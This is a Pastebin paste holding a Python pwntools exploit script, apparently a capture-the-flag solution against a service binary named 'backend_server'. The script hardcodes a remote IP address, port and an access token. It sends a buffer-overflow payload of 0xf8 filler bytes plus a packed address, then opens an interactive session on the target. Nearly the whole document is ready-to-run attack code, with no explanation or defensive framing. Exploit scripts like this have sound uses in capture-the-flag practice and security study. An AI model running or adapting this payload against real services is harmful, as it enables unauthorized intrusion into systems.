Guest User

Untitled

a guest
Jul 15th, 2018
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.39 KB | None | 0 0
  1. #!/usr/bin/env python
  2. from pwn import *
  3.  
  4. context(terminal=['tmux', 'splitw', '-h']) # horizontal split window
  5.  
  6. # libc = ELF('')
  7. elf = ELF('./backend_server')
  8. context(os='linux', arch=elf.arch)
  9. context(log_level='debug') # output verbose log
  10.  
  11. RHOST = "178.128.84.72"
  12. RPORT = 9997
  13. LHOST = "127.0.0.1"
  14. LPORT = 9997
  15.  
  16. def section_addr(name, elf=elf):
  17. return elf.get_section_by_name(name).header['sh_addr']
  18.  
  19. def dbg(ss):
  20. log.info("%s: 0x%x" % (ss, eval(ss)))
  21.  
  22. conn = None
  23. opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option
  24. if opt in 'rl':
  25. conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
  26. elif opt == 'd':
  27. gdbscript = """
  28.  
  29. continue
  30. """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
  31. conn = gdb.debug(['./backend_server'], gdbscript=gdbscript)
  32. else:
  33. conn = process(['./backend_server'])
  34. # conn = process(['./backend_server'], env={'LD_PRELOAD': ''})
  35. if opt == 'a': gdb.attach(conn)
  36.  
  37. # exploit
  38. log.info('Pwning')
  39.  
  40. token = 'c96ad7c54d14a76b9a940d662b18efa77637c2451d8363aa93159d130f4c712f'
  41. conn.sendlineafter('Token>', token)
  42.  
  43. conn.sendlineafter('What is the course name?>', 'hoge')
  44. conn.sendlineafter('What is the course name?>', 'hoge')
  45. conn.sendlineafter('What is the course name?>', 'hoge')
  46. payload = 'x'*0xf8 + p64(0x604070)
  47. conn.sendlineafter('What is the course name?>', payload)
  48. conn.sendline('3')
  49.  
  50. conn.interactive()
Add Comment
Please, Sign In to add comment